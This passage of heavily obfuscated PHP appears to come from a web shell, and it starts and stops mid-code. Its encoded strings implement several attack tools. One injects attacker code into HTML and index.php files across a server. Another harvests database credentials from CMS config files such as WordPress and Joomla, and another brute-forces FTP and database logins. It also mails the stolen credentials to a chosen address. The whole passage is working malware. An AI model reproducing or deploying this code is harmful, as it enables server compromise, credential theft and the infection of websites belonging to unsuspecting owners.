"\x3a" . z4a("\143\x70\x73\x65\162\x76\x69\x63\145", $available_arr, "\61", 1))) . z7i(z5t(z9s("\x33\60\x30")) . z9j(z5u("\x63\x70\146\151\154\x65\x73", "\52\x63\x6f\x6e\x66\x2a\x2e\x70\x68\160\x3b\52\144\142\52\x2e\160\x68\x70\73", "\65") . "\x3a" . z4a("\x63\160\155\145\x74\x68\x6f\144", $arr_method, "\x34", 1) . "\x3a" . z4a("\143\x70\x72\x65\x63\x75\x72\163\151\x76\x65", $rec_arr, "\61", 1))) . z7i(z5t(z9s("\x33\x30\61")) . z9j(z4a("\x63\x73\146\165\x6e\143", $arr_sfuncs, "\x31", 1) . "\72" . z5u("\x63\160\x64\151\162", $d, "\62"))) . ($bmail ? z7i(z5t(z9s("\63\x30\x32")) . z9j(z5u("\143\x70\x5f\x65\155\x61\x69\x6c", '', "\x32") . z9g("\x63\x70\137\154\x6f\147"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("\x33\x30\67"), "\x37") . z9c() . z5y("\143\x70\160\x61\x73\x73\146\151\154\x65", z9s("\x33\x30\x33"), "\x63\x70\x70\x61\163\x73\x66\x69\x6c\145"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "\x34\66") . z6d() . z9m("\x32") . z7z() . z9b("\151\156\x6a\145\x63\x74", "\x31") . z9b("\x61\143\164", "\164\157\x6f\x6c\x73") . z9b("\144") . z7i(z5t(z9s("\x33\x31\x30")) . z9j(z5u("\x69\x6e\x6a\146\151\154\x65\x73", "\52\x2e\x68\x74\155\154\73\x69\156\144\145\170\x2e\x70\150\x70\x3b", "\65") . "\x3a" . z4a("\x69\x6e\152\155\x65\x74\x68\157\x64", $inj_method, "\64", 1) . "\72" . z4a("\x69\156\x6a\x72\145\x63\165\162\x73\x69\x76\145", $rec_arr, "\61", 1))) . z7i(z5t(z9s("\63\x31\61")) . z9j(z4a("\151\x73\x66\165\156\x63", $arr_sfuncs, "\x31", 1) . "\x3a" . z5u("\151\156\x6a\x64\x69\162", $d, "\62"))) . z9f(z5t(z9s("\63\61\62")) . z9j(z5w("\151\x6e\x6a\x63\x6f\144\x65", "\66") . (@isset($injcode) ? @htmlspecialchars($injcode) : '') . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("\x33\61\63"), "\67"))) . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($inject) && $inject) { $glob = array(); $glob = z5s($injdir, $injfiles, $injrecursive, $isfunc == "\x66\x69\156\144" ? true : false); if (@count($glob) > 0) { $i = 0; foreach ($glob as $file) { if (z4i($injcode, $injmethod, $file)) { if ($i == 0) { echo z2b(z9s("\63\x31\x34")) . z6d() . z9m("\62") . z6g() . z6w() . z5w('', "\61"); z5p(); } echo $file . "\xd\12"; $i++; } } if ($i > 0) { echo z5q() . z7g() . z7u() . z10w() . z6d(); } } } if (@isset($cpfind) && $cpfind && (!@empty($cpuser) || $cpmethod == "\143\160\160\x61\x73\163\x77\x64")) { echo z2b(z9s("\x33\x30\70")) . z6d(); echo z9m("\x32") . z7p() . z6w() . z5w('', "\x31"); z5p(); $glob = array(); switch ($cpmethod) { case "\143\160\x64\151\162": $glob[$cpuser] = z5s($cpdir, $cpfiles, $cprecursive, $csfunc == "\x66\151\x6e\x64" ? true : false); break; case "\143\x70\144\157\x63\x72\157\x6f\164": $glob[$cpuser] = z5s(z1a($wwwdir), $cpfiles, $cprecursive, $csfunc == "\146\151\x6e\x64" ? true : false); break; case "\143\x70\x70\x61\163\163\167\144": $uarr = z6m(1); if (@count($uarr) > 0) { foreach ($uarr as $uk => $arr) { if ($arr[1] != "\x2f" && !@preg_match("\43\136\50\57\166\141\162\x2f\162\x75\156\174\57\x76\x61\x72\57\x6c\x6f\x67\x7c\57\166\x61\x72\57\x63\141\143\x68\x65\x7c\57\166\141\162\57\155\x61\x69\154\x7c\57\x76\x61\162\x2f\x63\141\x63\x68\145\174\57\166\x61\x72\x2f\142\x61\143\153\x75\x70\x7c\57\x75\163\x72\57\x67\x61\155\145\163\174\x2f\x6c\x69\x62\x7c\x2f\166\141\162\57\154\x69\x62\174\57\166\x61\x72\57\164\155\160\x7c\57\x74\155\x70\174\57\x64\145\x76\x7c\x2f\x70\162\157\143\x7c\x2f\x73\x62\x69\x6e\x7c\x2f\x75\163\162\x2f\x73\142\151\156\x7c\57\165\163\x72\57\154\x6f\x63\x61\154\57\x73\142\x69\156\x7c\57\x62\151\x6e\x7c\57\165\x73\x72\x2f\142\151\156\174\x2f\x75\x73\x72\57\154\157\143\x61\x6c\x2f\142\151\156\51\43", $arr[1]) && z4j($arr[1])) { $glob[$arr[0]] = z5s(z1a($arr[1]), $cpfiles, $cprecursive, $csfunc == "\146\x69\156\144" ? true : false); } } } unset($uarr); break; default: break; } if (@count($glob) > 0) { foreach ($glob as $user => $file_arr) { if (@count($file_arr) > 0) { foreach ($file_arr as $tfile) { z1m($tfile, $user); } } } } $log = ''; $found = 0; if (@isset($passarray) && @count($passarray) > 0) { foreach ($passarray as $user => $passwords) { if (@count($passwords) > 0) { foreach ($passwords as $pass) { if (@isset($cppassfile) && $cppassfile) { echo "{$user}\40{$pass}\15\xa"; } else { if (!@isset($stop)) { $stop = 0; } if ($cpservice == "\106\124\x50" && $bftp && !$stop) { $test = z3h($cphost, $user, $pass, 21, 3); if ($test == "\x66\141\x69\x6c\145\x64") { $stop = 1; } elseif ($test == "\166\x61\154\x69\144") { $found++; $tmp = "\150\157\x73\x74\72\x20{$cphost}\xd\xa"; $tmp .= "\165\x73\145\x72\x3a\40{$user}\15\xa"; $tmp .= "\160\141\x73\163\72\x20{$pass}\xd\xa"; $tmp .= "\163\145\162\x76\x69\x63\145\x3a\40{$cpservice}\xd\12\xd\12"; echo $tmp; $log .= $tmp; } } else { if (z4u($cphost, $user, $pass, '', $cpservice) == "\166\x61\154\151\x64") { $found++; $tmp = "\x68\x6f\163\164\x3a\x20{$cphost}\xd\12"; $tmp .= "\165\x73\145\x72\x3a\40{$user}\15\xa"; $tmp .= "\x70\x61\x73\x73\x3a\x20{$pass}\15\xa"; $tmp .= "\163\x65\162\166\151\x63\145\72\x20{$cpservice}\xd\12\xd\12"; echo $tmp; $log .= $tmp; } } } } } } } if ($cp_log == "\x31" && $found > 0 && $bmail) { @mail($cp_email, "{$cpservice}\174{$cphost}", $log); } echo z5q() . z7u() . z7g() . z10w() . z6d(); } $arr_cfgs = array('' => "\x53\145\x6c\x65\x63\x74\x20\123\x6f\x66\x74\x77\141\x72\x65", "\x6a\157\157\155\154\141" => "\112\157\x6f\x6d\x6c\141", "\x6f\160\x65\156\x63\x61\162\x74" => "\x4f\x70\145\x6e\143\141\162\164", "\157\163\x63" => "\117\163\143\157\x6d\155\145\x72\x63\145", "\x70\x69\156\156\141\x63\154\x65\143\141\x72\x74" => "\x50\x69\156\156\141\143\154\145\x63\x61\162\164", "\163\x71\x75\x69\x72\x72\x65\x6c\x63\x61\x72\164" => "\x53\161\x75\151\162\162\145\x6c\x63\141\x72\x74", "\167\157\x72\144\160\x72\145\163\163" => "\127\x6f\x72\144\x70\x72\145\x73\x73", "\170\x63\x61\x72\164" => "\x58\55\143\x61\162\x74", "\x7a\x65\156\x63\141\162\x74" => "\x5a\145\156\55\x63\141\x72\164", "\141\x6c\154" => "\x41\154\154\x20\x6f\x66\x20\x61\142\157\x76\145"); if (@isset($sqlfind) && $sqlfind && @isset($dvdefined) && !@empty($dvdefined) && @isset($dvpasswd) && !@empty($dvpasswd)) { $dvcfgs = "\156\x56\x72\x6b\101\60\x6d\106\122\104\x59\103\x48\x75\x6e\x5a\63\x63\x4e\x39\155\114\172\65\x70\x4e\x53\x68\x73\x6d\60\162\x38\114\x34\144\x72\x6d\x62\x30\106\124\x4d\x53\120\156\146\111\161\101\x34\x6a\x2b\x55\x71\66\x67\x66\114\x59\x75\154\x64\162\164\163\115\115\116\124\147\x4b\x35\x55\157\132\x33\126\151\123\132\x35\152\156\x65\67\x74\145\x46\x79\x6e\x67\x4d\163\x74\x64\x4e\161\152\122\x42\x72\61\116\123\x44\x5a\x67\117\156\x68\x6b\124\x30\x35\110\x6d\62\65\x69\x6b\117\x61\157\x6f\105\x76\141\x39\127\x63\x39\66\65\x56\144\x63\x62\x55\x59\160\156\161\163\70\170\x71\x35\x56\x44\141\113\145\x42\x70\x52\153\123\x31\x56\x41\170\x61\114\x54\x4b\x4f\x72\70\x39\71\160\146\x4d\x31\160\155\x2f\166\67\x52\x64\143\x74\153\64\x48\60\101\64\x62\130\123\170\156\x35\x4c\x75\x70\x35\x48\101\x64\152\x6a\x6c\61\x45\x7a\x6f\143\x51\x58\x61\162\x36\127\x73\131\x75\155\172\x69\x44\x59\x44\57\105\x4f\102\x67\155\x42\151\x4e\126\154\x2f\x2b\x6b\x47\167\146\x50\x73\66\x34\x76\x51\146\172\x56\x75\x74\x74\146\x63\131\x37\164\151\x7a\x7a\x65\156\x50\x6d\x4d\112\x67\105\70\x42\x47\x6a\62\x41\x5a\165\130\127\164\170\x6e\154\63\x55\117\x34\x43\x41\120\102\117\144\164\167\x6b\162\166\53\120\167\x4d\163\131\150\146\x66\x6b\105\x79\x68\x31\67\x65\103\63\102\x75\x66\x72\x71\x44\x6b\127\x41\121\x68\105\103\x55\x68\x73\x38\144\x6e\160\x31\x52\x30\147\x35\x2f\x42\x79\165\112\115\x65\142\x54\x4f\145\71\161\167\160\104\x44\150\x35\147\157\x58\147\131\150\x74\x6a\124\164\150\x53\105\x75\64\130\x53\150\102\144\113\x4e\x48\147\53\x76\145\57\x34\x2f\x51\150\x69\x4a\142\x30\x68\x53\x71\x38\x65\x7a\x4f\132\110\103\x6d\x57\x31\x50\132\57\x30\x67\171\x72\x79\167\132\170\x32\141\x75\143\x47\x4a\x65\103\x5a\170\x33\x6d\x78\156\x66\152\x69\x4b\x41\107\x48\143\x6e\x4a\141\x69\x46\104\126\x30\x39\144\x58\132\122\x75\166\x66\x47\145\x36\123\x47\x69\120\161\x38\64\142\x45\162\132\124\150\x44\x48\117\x52\122\163\65\x46\172\70\x4e\x69\166\x55\x78\152\71\x6d\53\x57\x57\x37\x51\x52\164\141\x6b\70\x45\117\125\151\111\143\x54\154\x62\120\111\120\x38\65\x58\x49\x57\x6f\142\x32\61\x56\63\x76\x38\x33\146\101\x41\117\101\162\x39\x6f\112\125\112\x4a\70\x67\160\x64\146\x71\x4f\114\x49\171\x4a\171\x66\141\65\113\x76\x61\163\x32\x4f\x31\x44\110\156\166\x71\x6f\x53\66\107\163\105\x47\107\162\x66\x6e\x6c\x58\110\157\x54\x65\151\167\64\x37\x6e\x47\145\122\x34\x53\x6f\x43\x37\102\x46\x50\x75\60\x68\115\63\x68\156\103\x34\121\120\122\x38\152\162\111\67\104\65\x78\x59\x59\x4f\x33\x77\x7a\113\x34\165\150\112\125\x34\x66\65\x4f\x74\x38\107\x75\x71\x4e\124\163\x6a\x45\x31\114\x54\x79\165\x42\x71\x4a\x62\x65\x59\x34\111\65\x74\x63\155\121\114\163\x46\x59\155\x71\x79\107\105\x51\x58\120\x34\116\104\x45\x78\x48\x37\x4f\154\x42\x4d\x4b\123\x6c\x70\x56\153\115\x45\145\114\x74\157\x75\127\104\x4d\144\x65\x41\150\x69\131\151\x79\x57\x4d\x32\60\x6a\171\62\x56\x4a\151\x35\x78\x69\121\x65\x76\x6c\102\x66\107\x2f\x62\162\x69\113\106\x78\155\x43\167\116\x64\155\x46\62\x4a\x65\170\170\114\x36\161\x6c\122\107\156\x2b\122\x64\x78\x39\x56\131\107\106\157\164\62\x72\x78\122\67\171\x32\112\x54\145\126\x69\x74\145\x6e\57\121\x4e\x63\x69\x31\114\x34\x78\101\x57\x6f\110\141\124\x31\x45\115\103\x64\x30\172\x78\x50\x2f\x5a\131\x52\x63\x42\147\x76\172\164\64\63\x32\x36\x4e\107\x31\x57\x42\x73\160\116\x59\66\x53\x65\x53\x6e\x62\102\x51\166\x50\x6f\115\x63\x72\x6e\x4f\x6a\130\x48\x72\101\122\171\61\116\171\172\101\x55\110\x47\150\164\127\x65\102\x6f\106\101\154\x53\150\165\x53\x41\62\x63\64\143\161\107\105\121\x54\162\x73\x31\120\120\113\170\x70\124\142\102\141\x63\x75\116\x4c\115\155\155\53\x77\166\x4d\x4e\x76\x42\150\144\164\62\x48\124\x66\132\124\152\144\131\171\x45\156\60\161\x45\146\117\x56\x50\x54\x57\142\x38\x4c\x57\120\x4b\127\x78\101\57\x7a\x49\x4a\65\x4f\x59\x65\126\110\66\71\147\x30\142\64\103\x50\116\x6b\x6e\x48\145\x73\64\171\116\131\66\104\x37\122\x78\x4b\x39\x30\x35\x45\131\x30\104\x4d\115\x49\x31\x68\x38\110\x59\x31\x6e\67\162\x37\132\x76\x57\144\x38\64\117\x33\x56\x42\x66\x39\60\x34\166\x51\125\111\x4c\x52\101\57\166\150\x79\122\x62\67\157\x4b\125\x48\x74\164\171\x43\x72\x75\x5a\157\107\64\154\x67\101\121\107\x67\67\70\x50\110\x61\x59\165\x67\164\x63\71\123\106\x75\x37\x50\161\64\61\x43\x6e"; $ddcfgs = zrc4::zdec(@md5($dvpasswd), @base64_decode($dvcfgs)); if ($dvdefined == "\141\154\154") { $arr_mass = array(); $arr_mass_paths = array(); foreach ($arr_cfgs as $tcfg => $tsoft) { if ($tcfg != '' && $tcfg != "\141\154\x6c") { $tddcfg = @explode("\174" . $tcfg . "\x7c", $ddcfgs); $tddcfg = @substr($tddcfg[1], 0, @strpos($tddcfg[1], "\174")); @(list($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase, $tdvhost, $tdthost, $tdvfiles, ) = @explode("\54", $tddcfg)); $arr_mass[$tsoft] = array($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase, $tdvhost, $tdthost); $tefiles = @explode("\73", $tdvfiles); foreach ($tefiles as $tefile) { $tefile = @trim($tefile); if (!@empty($tefile) && !@in_array($tefile, $arr_mass_paths)) { $arr_mass_paths[] = $tefile; } } } } } else { if (@strpos($ddcfgs, "\x7c" . $dvdefined . "\x7c") !== false) { $ddcfg = @explode("\174" . $dvdefined . "\x7c", $ddcfgs); $ddcfg = @substr($ddcfg[1], 0, @strpos($ddcfg[1], "\174")); @(list($dvuser, $dtuser, $dvpass, $dtpass, $dvbase, $dtbase, $dvhost, $dthost, $dvfiles, ) = @explode("\54", $ddcfg)); } } } echo z2b(array(z9s("\63\61\65"), z9s("\x33\63\67")), "\64\x36"); echo z9m(2) . z7p() . z7k('', "\64") . z6d() . z9m("\62") . z7z() . z9b("\x73\x71\x6c\x66\x69\x6e\x64", "\x31") . z9b("\x61\143\x74", "\x74\x6f\157\154\x73") . z9b("\144") . z7i(z5t(z9s("\x33\x31\66")) . z9j(z5u("\x64\x76\x75\x73\x65\x72", '', "\x35") . "\72" . z4a("\144\164\x75\x73\145\162", $arr_vars, "\64", 1) . z9c() . z9s("\x33\x32\70"))) . z7i(z5t(z9s("\63\x31\67")) . z9j(z5u("\144\166\x70\141\163\x73", '', "\x35") . "\72" . z4a("\x64\x74\160\x61\x73\x73", $arr_vars, "\64", 1) . z9c() . z9s("\x33\62\x38"))) . z7i(z5t(z9s("\x33\61\70")) . z9j(z5u("\x64\x76\142\x61\x73\145", '', "\65") . "\72" . z4a("\144\x74\142\x61\x73\145", $arr_vars, "\64", 1) . z9c() . z9s("\x33\x32\71"))) . z7i(z5t(z9s("\63\61\x39")) . z9j(z5u("\x64\166\150\157\x73\164", '', "\65") . "\x3a" . z4a("\x64\x74\x68\157\163\164", $arr_vars, "\64", 1) . z9c() . z9s("\63\x32\x39"))) . z7i(z5t(z9s("\x33\x32\x30")) . z9j(z4a("\144\x76\x64\x65\x66\x69\156\x65\x64", $arr_cfgs, "\x35", 1) . "\72" . z5u("\144\166\x70\x61\163\x73\167\144", '', "\x34") . z9c() . "\x61\156\164\x69\x2d\154\x61\x6d\145\162\172\x20\72\51")) . z7i(z5t(z9s("\63\x32\61")) . z9j(z5u("\144\166\146\x69\154\145\163", '', "\65") . "\72" . z4a("\144\166\x66\151\x6e\x64", $arr_dvfind, "\x34", 1) . "\72" . z4a("\x64\x74\162\145\143\x75\x72\x73\151\x76\145", $rec_arr, "\61", 1))) . z7i(z5t(z9s("\x33\62\x32")) . z9j(z4a("\144\163\x66\165\156\143", $arr_sfuncs, "\61", 1) . "\x3a" . z5u("\144\x76\x64\x69\162", $d, "\62"))) . ($bmail ? z7i(z5t(z9s("\x33\60\62")) . z9j(z5u("\x64\166\137\x65\x6d\141\151\154", '', "\62") . z9g("\144\x76\137\154\x6f\147"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("\x33\62\63"), "\67") . z9c() . z5y("\x64\166\163\x71\x6c\x74\x65\163\x74", z9s("\63\x32\x34"), "\x64\166\163\x71\154\x74\145\163\x74"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "\x34\x36") . z6d() . z9m("\x32") . z7z() . z9b("\163\164\141\162\164\142\x72\x75\164\x65", "\61") . z9b("\x61\x63\x74", "\x74\x6f\157\154\163") . z9b("\x64") . z7i(z5t(z9s("\63\x33\x38")) . z9j(z5u("\x62\x72\x68", '', "\64") . "\72" . z5u("\142\162\x70", '', "\66") . "\72" . z4a("\142\x73\x65\162\166\x69\143\145", $available_arr, "\x34", 1))) . z7i(z5t(z9s("\63\x33\x39")) . z9j(z5u("\142\162\x75", '', "\64") . "\72" . z5u("\x62\x72\144\142", '', "\x35"))) . z7i(z5t(z9s("\x33\64\x30")) . z9j(z9h("\x77\157\162\144\x6c\x69\x73\164", "\x32"))) . z7i(z5t(z9s("\63\x34\61")) . z9j(z4a("\x62\162\x6d", $brute_type, "\x32", 1))) . z7i(z5t(z9s("\63\x34\62")) . z9j(z5y("\142\162\164\145\163\164\61", "\x75\x73\145\162\x3a\x72\145\163\165", "\x62\162\x74\x65\x73\164\61") . z9c(1) . z5y("\x62\x72\164\145\x73\x74\62", "\165\x73\145\x72\72\x75\x73\145\x72\x31", "\x62\x72\164\x65\x73\x74\62") . z9c(1) . z5y("\x62\x72\x74\x65\163\x74\x33", "\x75\163\145\x72\72\165\163\145\162\x31\62\x33", "\142\162\x74\145\x73\x74\63"))) . z7i(z5t(z9c()) . z9j(z5y("\142\x72\x74\x65\x73\x74\64", "\124\x72\x61\x6e\x73\146\157\162\155\40\x70\141\163\163\x77\157\162\144\x20\x74\157\40\160\100\x35\65\x77\x30\162\x64", "\x62\162\x74\145\x73\164\x34"))) . ($bmail ? z7i(z5t(z9s("\63\60\62")) . z9j(z6i("\x62\162\x75\164\x65\137\x65\155\141\x69\154", $brute_email, "\62") . z9g("\142\x72\165\x74\x65\137\x6c\x6f\x67"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("\x33\x34\66"), "\x37"))) . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($startbrute) && $startbrute) { $stop = 0; echo z2b(z9s("\x33\x34\67", $bservice, 1)) . z6d(); echo z9m("\62") . z7p() . z6w() . z5w('', "\61"); z5p(); $con = true; $show = 0; $log = ''; if ($bservice == "\x46\x54\x50") { $brp = @preg_match("\x2f\x5e\133\x30\55\71\x5d\x7b\61\x2c\x35\175\44\x2f", $brp) ? $brp : "\62\61"; } elseif ($bservice == "\x4d\171\x53\121\114") { $brp = @preg_match("\x2f\136\x5b\60\x2d\x39\x5d\x7b\61\54\x35\175\44\57", $brp) ? $brp : "\x33\x33\60\66"; } if ($brm == "\61" || $brm == "\63") { $dictionary = array(); $list = @fopen($_FILES["\x77\157\162\x64\154\151\163\x74"]["\164\155\160\137\x6e\141\x6d\145"], "\162"); if (@is_resource($list)) { while (!@feof($list)) { $dictionary[] = @trim(@fgets($list)); } @fclose($list); } $dictionary = @array_unique($dictionary); } if ($bservice == "\x46\124\120" && $bftp) { $time = 3; $success = 0; $count = 0; if (!@empty($bru) && !$stop) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru); if (!$test) { $stop = 1; } z2w($test[0], $test[1], $test[2]); } if (($brm == "\62" || $brm == "\63") && !$stop) { foreach ($users as $user) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user); if (!$test) { $stop = 1; break; } z2w($test[0], $test[1], $test[2]); if ($brm == "\x33") { foreach ($dictionary as $passwd) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user, $passwd); z2w($test[0], $test[1], $test[2]); } } } } else { if ($brm == "\x31" && !@empty($bru) && !$stop) { foreach ($dictionary as $passwd) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru, $passwd); if (!$test) { $stop = 1; break; } z2w($test[0], $test[1], $test[2]); } } } echo "\xd\xa\55\x2d\55\x2d\55\55\55\x2d\55\55\x2d\x2d\x2d\x2d\55\x2d\55\55\x2d\55\xd\xa"; echo z9s("\x34\x32\x36", $count) . "\xd\xa"; echo z9s("\64\x32\67", $success) . "\xd\xa"; } elseif ($bmysql || $bmssql || $boracle || $bpostgres) { $success = 0; $count = 0; if (!@empty($bru)) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru, NULL, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } if ($brm == "\62" || $brm == "\x33") { foreach ($users as $user) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user, NULL, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); if ($brm == "\63") { foreach ($dictionary as $passwd) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user, $passwd, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } } } } else { if ($brm == "\61" && !@empty($bru)) { foreach ($dictionary as $passwd) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru, $passwd, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } } } echo "\xd\xa\55\x2d\55\55\x2d\55\55\55\x2d\55\55\55\55\55\x2d\x2d\x2d\55\x2d\55\xd\xa"; echo z9s("\64\x32\66", $count) . "\15\12"; echo z9s("\x34\x32\67", $success) . "\15\12"; echo $log; } if ($brute_log == "\x31" && $success > 0) { @mail($brute_email, "{$bservice}\174{$brh}\x3a{$brp}", $log); } echo z5q() . z7u() . z7g() . z10w() . z6d(); } if (@isset($sqlfind) && $sqlfind && !@empty($dvuser) && !@empty($dvpass)) { echo z2b(z9s("\63\63\60")) . z6d(); echo z9m("\62") . z7p() . z6w() . z5w('', "\x31"); z5p(); $dpaths = $glob = array(); $farr = @explode("\73", $dvfiles); if ($dvdefined == "\141\154\154" && @isset($arr_mass_paths) && @is_array($arr_mass_paths) && @count($arr_mass_paths) > 0) { $farr = $arr_mass_paths; } $wildcards = @implode("\73", $farr); switch ($dvfind) { case "\x64\166\x64\151\162": $dpaths[] = z1a($dvdir); break; case "\144\157\143\162\157\157\x74": $dpaths[] = z1a($wwwdir); break; case "\x70\141\x73\163\167\x64": $uarr = z6m(1); if (@count($uarr) > 0) { foreach ($uarr as $uk => $arr) { if (!@in_array($arr[1], $dpaths) && $arr[1] != "\x2f" && !@preg_match("\43\x5e\50\x2f\x76\x61\x72\57\x72\x75\156\x7c\x2f\166\x61\162\x2f\154\x6f\147\174\57\166\x61\x72\x2f\x63\x61\143\150\145\174\x2f\x76\141\x72\x2f\155\141\x69\154\x7c\57\166\x61\162\x2f\143\141\143\x68\x65\174\57\166\x61\162\x2f\x62\x61\x63\x6b\165\x70\x7c\57\165\x73\162\57\147\141\x6d\x65\x73\x7c\x2f\154\151\x62\174\x2f\166\x61\x72\x2f\154\151\x62\x7c\57\x76\141\162\57\164\155\x70\174\x2f\164\155\160\174\x2f\144\x65\166\174\x2f\160\x72\x6f\143\x7c\x2f\163\x62\x69\x6e\174\x2f\165\163\162\x2f\163\142\151\x6e\x7c\x2f\x75\x73\162\57\x6c\157\143\x61\x6c\57\163\x62\151\x6e\x7c\x2f\142\x69\x6e\174\57\165\163\162\57\x62\x69\x6e\174\x2f\165\x73\x72\57\x6c\x6f\143\141\154\57\142\151\x6e\x29\x23", $arr[1]) && z4j($arr[1])) { $dpaths[] = z1a($arr[1]); } } } unset($uarr); break; default: break; } foreach ($dpaths as $dpath) { $tglob = z5s($dpath, $wildcards, $dtrecursive, $dsfunc == "\x66\151\156\x64" ? true : false); if (@is_array($tglob) && @count($tglob) > 0) { foreach ($tglob as $tfile) { if (!@in_array($tfile, $glob)) { $glob[] = $tfile; } } } } $glob = @array_unique($glob); unset($dpaths); if (@count($glob) > 0) { $uhashes = array(); $log = ''; $line = @str_repeat("\x2d", 100) . "\15\xa"; $final_arr = array(); foreach ($glob as $file) { $tct = z9p($file); if (!@empty($tct)) { if ($dvdefined == "\141\154\x6c" && @isset($arr_mass) && @is_array($arr_mass) && @count($arr_mass) > 0) { foreach ($arr_mass as $software => $defines) { $base = ''; $user = z4b($defines[1], $defines[0], $tct); $pass = z4b($defines[3], $defines[2], $tct); if (!@empty($defines[4])) { $base = z4b($defines[5], $defines[4], $tct); } if (!@empty($defines[6])) { $host = z4b($defines[7], $defines[6], $tct); } if (!@isset($host) || @empty($host)) { $host = "\154\x6f\x63\141\x6c\150\x6f\163\164"; } if (!@empty($host) && !@empty($user) && !@empty($pass)) { $add = 0; if (@isset($dvsqltest) && $dvsqltest) { if (z4u($host, $user, $pass, "\63\x33\60\66", "\x4d\171\x53\x51\x4c") == "\166\141\x6c\x69\x64") { $add = 1; } } else { $add = 1; } if ($add) { $tmphash = @md5($host . $user . $pass . $base); if (!@in_array($tmphash, $uhashes)) { $uhashes[] = $tmphash; $tmp = $line; $tmp .= "{$file}\xd\12"; $tmp .= "\123\x6f\x66\x74\x77\x61\162\x65\x20\164\x65\163\x74\x65\144\72\40{$software}\15\12"; $tmp .= $line; $tmp .= "\150\157\163\164\72\40{$host}\xd\xa"; $tmp .= "\x75\x73\x65\x72\72\40{$user}\xd\xa"; $tmp .= "\x70\x61\163\x73\72\x20{$pass}\15\xa"; $tmp .= "\144\141\164\x61\142\141\x73\x65\72\x20{$base}\xd\xa\15\xa"; echo $tmp; $log .= $tmp; if (!@isset($final_arr[$file])) { $final_arr[$file] = array($host, $user, $pass, $base, $software); } } break; } } } } else { $base = ''; $user = z4b($dtuser, $dvuser, $tct); $pass = z4b($dtpass, $dvpass, $tct); if (!@empty($dvbase)) { $base = z4b($dtbase, $dvbase, $tct); } if (!@empty($dvhost)) { $host = z4b($dthost, $dvhost, $tct); } if (!@isset($host) || @empty($host)) { $host = "\x6c\157\x63\x61\x6c\150\x6f\163\x74"; } if (!@empty($host) && !@empty($user) && !@empty($pass)) { $add = 0; if (@isset($dvsqltest) && $dvsqltest) { if (z4u($host, $user, $pass, "\63\63\60\x36", "\115\171\123\x51\114") == "\166\x61\154\151\x64") { $add = 1; } } else { $add = 1; } if ($add) { $tmphash = @md5($host . $user . $pass . $base); if (!@in_array($tmphash, $uhashes)) { $uhashes[] = $tmphash; $tmp = $line; $tmp .= "{$file}\15\xa"; $tmp .= $line; $tmp .= "\150\157\163\x74\x3a\40{$host}\xd\xa"; $tmp .= "\165\x73\145\162\72\40{$user}\xd\12"; $tmp .= "\x70\x61\163\163\x3a\x20{$pass}\15\12"; $tmp .= "\144\141\x74\x61\142\141\163\145\72\x20{$base}\xd\12\xd\12"; echo $tmp; $log .= $tmp; if (!@isset($final_arr[$file])) { $final_arr[$file] = array($host, $user, $pass, $base); } } } } } } unset($tct); } } echo z5q() . z7u() . z7g() . z10w() . z6d(); if ($dv_log == "\61" && $log != '') { @mail($dv_email, "\x44\102\x53\174{$saddr}", $log); } } if (@isset($final_arr) && @count($final_arr) > 0) { echo z9m("\62") . z7i(z9j(z9s("\x33\x33\61"), "\61\x33", "\62") . z9j(z9s("\x33\x33\62"), "\x31\63") . z9j(z9s("\x33\x33\63"), "\61\x33") . z9j(z9s("\x33\x33\x34"), "\x31\x33") . z9j(z9s("\63\63\x35"), "\x31\63", "\x33")); $tr = 0; foreach ($final_arr as $file => $array) { echo z6g($tr % 2 ? "\60" : "\61"); $tc = @count($array); $dsoft = ''; if ($tc == 5) { $tc = 4; $dsoft = $array[$tc]; } for ($i = 0; $i < $tc; $i++) { echo z9j($array[$i], "\61\x34", $i == 0 ? "\x32" : ''); } echo z9j(z5c(array("\141\x63\x74" => "\163\x71\154", "\x64", "\163\161\154\137\162\x65\x66\162\145\163\150" => "\61", "\x73\x71\x6c\x5f\163\x65\162\x76\x65\162" => $array[0], "\163\x71\x6c\137\x75\x73\x65\162" => $array[1], "\x73\161\x6c\137\160\141\x73\163" => $array[2], "\x73\x71\154\x5f\144\142" => $array[3], "\163\x71\x6c\137\160\x6f\x72\164" => "\x33\x33\60\66", "\x73\161\154\137\x65\x6e\147\151\x6e\x65" => "\x4d\x79\x53\x51\x4c"), z8v(z9s("\63\x33\66"), "\67") . ($dsoft != '' ? "\40\x28" . $dsoft . "\x29" : ''), 1), "\61\64", "\x33"); echo z7u(); $tr++; } } } goto vLr7u; cSDDf: $_SESSION["\143\x6f\x6c\157\x72\x5f\163\x6b\151\156"] = $color_skin; goto SLDpm; pkblD: function z2a($var, $f) { $val = ''; if (!empty($f)) { $reg = "\57\50\x5b\x27\42\135\x7b\x31\175\x29" . $var . "\x5c\61\x5b\134\163\x5c\x74\134\x72\x5c\x6e\135\52\x3d\76\x5b\134\x73\134\164\x5c\162\x5c\x6e\x5d\52\x28\133\x27\42\x5d\173\61\x7d\x29\x28\133\136\134\62\x5c\163\x5c\x74\x5c\162\x5c\156\135\53\51\x5c\x32\x2f"; if 